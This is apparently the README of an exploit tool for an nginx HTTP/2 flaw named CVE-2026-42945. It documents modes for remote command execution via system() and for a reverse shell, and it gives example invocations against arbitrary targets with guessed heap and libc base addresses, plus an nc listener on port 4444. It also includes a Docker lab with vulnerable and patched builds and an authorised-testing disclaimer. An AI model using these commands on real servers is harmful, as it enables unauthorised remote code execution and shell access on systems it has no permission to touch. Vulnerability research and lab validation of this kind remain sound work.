中文 | English
针对 nginx HTTP/2 实现(CVE-2026-42945) 的探测与利用辅助工具,用于在授权环境中验证漏洞是否存在、对照修复效果,并在可控实验环境中复现 PoC 行为。
受影响版本(粗判):nginx 0.6.27 – 1.30.0;1.30.1+ / 1.31.0+ 已修复。
本仓库仅供安全研究、漏洞验证与防御性测试使用。
如你不接受上述条款,请立即停止使用并删除本仓库。
| 模式 | 说明 |
|---|---|
-check-only | 连通性、Server 头、版本粗判、PoC 端点探测 |
-probe-crash | 发送一轮溢出探测,通过 worker 崩溃侧信道判断 |
-cmd | 构造 exploit 载荷,经 system() 执行指定命令 |
-shell | 反弹 shell(需 -lhost,本机需 nc) |
-docker | 批量测试本地 Docker 实验环境(vuln / fixed) |
go.mod)make、golangci-lint(开发/代码检查)GET /api/、POST /spray 等);Docker 实验镜像已内置# 快速构建(输出到 bin/,已被 .gitignore 忽略)
make build-cmd
# 或直接使用 go
go build -o ./bin/cve-2026-42945 ./cmd
# 查看嵌入版本
./bin/cve-2026-42945 -version
发布版二进制:在 Releases 下载对应平台的 cve-2026-42945-<os>-<arch>(推送 v* 标签后由 GitHub Actions 自动构建)。
-target string 目标 IP/主机名(默认 127.0.0.1)
-port int 目标端口(0=80;Docker 漏洞版常用 19321)
-docker 测试本地 Docker 实验环境(vuln:19321, fixed:19331)
-check-only 仅探测,不发送 exploit 流量
-probe-crash 溢出探测 + worker 崩溃侧信道
-cmd string 经 system() 执行的命令
-shell 反弹 shell(需 -lhost)
-lhost string 反弹 shell 本机 IP
-lport int 反弹 shell 本机端口(默认 4444)
-docker-profile 使用 deploy/docker 实测堆/libc 基址
-heap-base string 堆基址(十六进制,如 0x555555659000)
-libc-base string libc 基址(十六进制)
-tries int 每个堆候选尝试次数(默认 10)
-timeout int 单次 HTTP 超时秒数(默认 5)
-v 详细输出
-version 显示版本后退出
-docker模式不能与-cmd/-shell同时使用;对单目标利用请指定-port 19321。
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
先启动实验容器:
make docker-up
# 或
docker compose -f deploy/docker-compose.yml up -d --build
首次构建需编译 nginx,可能需数分钟;
docker compose ps中服务为healthy后再运行make test-lab。
| 服务 | 端口 | 说明 |
|---|---|---|
| vuln | 19321 | nginx 1.30.0(受影响) |
| fixed | 19331 | nginx 1.30.1(已修复) |
批量探测:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
或使用 Makefile 快捷目标:
make test-lab # check + probe
make cmd-exploit # 向 vuln 写入 /tmp/pwned 并提示验证命令
实验容器在 ASLR 关闭(setarch -R)且使用 -docker-profile 预置基址时成功率最高:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# 验证文件是否写入
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# 终端 1:启动工具(会尝试后台 nc 监听)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# 若未找到 nc,请另开终端手动监听:
nc -lvnp 4444
真实目标 ASLR、libc 版本与 Docker 不一致时,需自行泄露或猜测基址:
# 目标须为明文 HTTP 端口(非 TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] 侧信道: worker 异常:仅表示 worker 可能因溢出崩溃,不能单独作为 RCE 成功的依据。docker exec 等)。cmd/ 主程序入口
internal/rift/ 探测、载荷构造与利用逻辑
deploy/docker/ nginx 1.30.0 / 1.30.1 实验镜像
deploy/docker-compose.yml
.github/workflows/ 多平台 Release 构建
make help # 查看所有 make 目标
make test # 单元测试
make lint # golangci-lint
make version # 显示当前构建版本号
发布新版本:
git tag v1.0.0
git push origin v1.0.0
仅在你有权测试的系统上使用本工具。 任何滥用行为与作者无关。
| 项目 | 说明 |
|---|
| 协议 | 仅支持明文 HTTP(net.Dial + 原始 HTTP 字节),不支持 HTTPS/TLS。对 -port 443 等 TLS 端口需前置 TLS 终止或改用 HTTP 端口。 |
| Docker 实验 | 镜像为 linux/amd64,首次 docker compose build 需从源码编译 nginx,耗时较长;容器内使用 setarch -R 关闭 ASLR,与生产环境差异大。 |
| Apple Silicon | 本地 Docker 通过 platform: linux/amd64 模拟运行,速度较慢。 |
| 反弹 shell | -shell 依赖系统 nc,Windows 上建议手动监听。 |
| 利用判定 | 侧信道(worker 崩溃)不等于 RCE,必须独立验证命令副作用。 |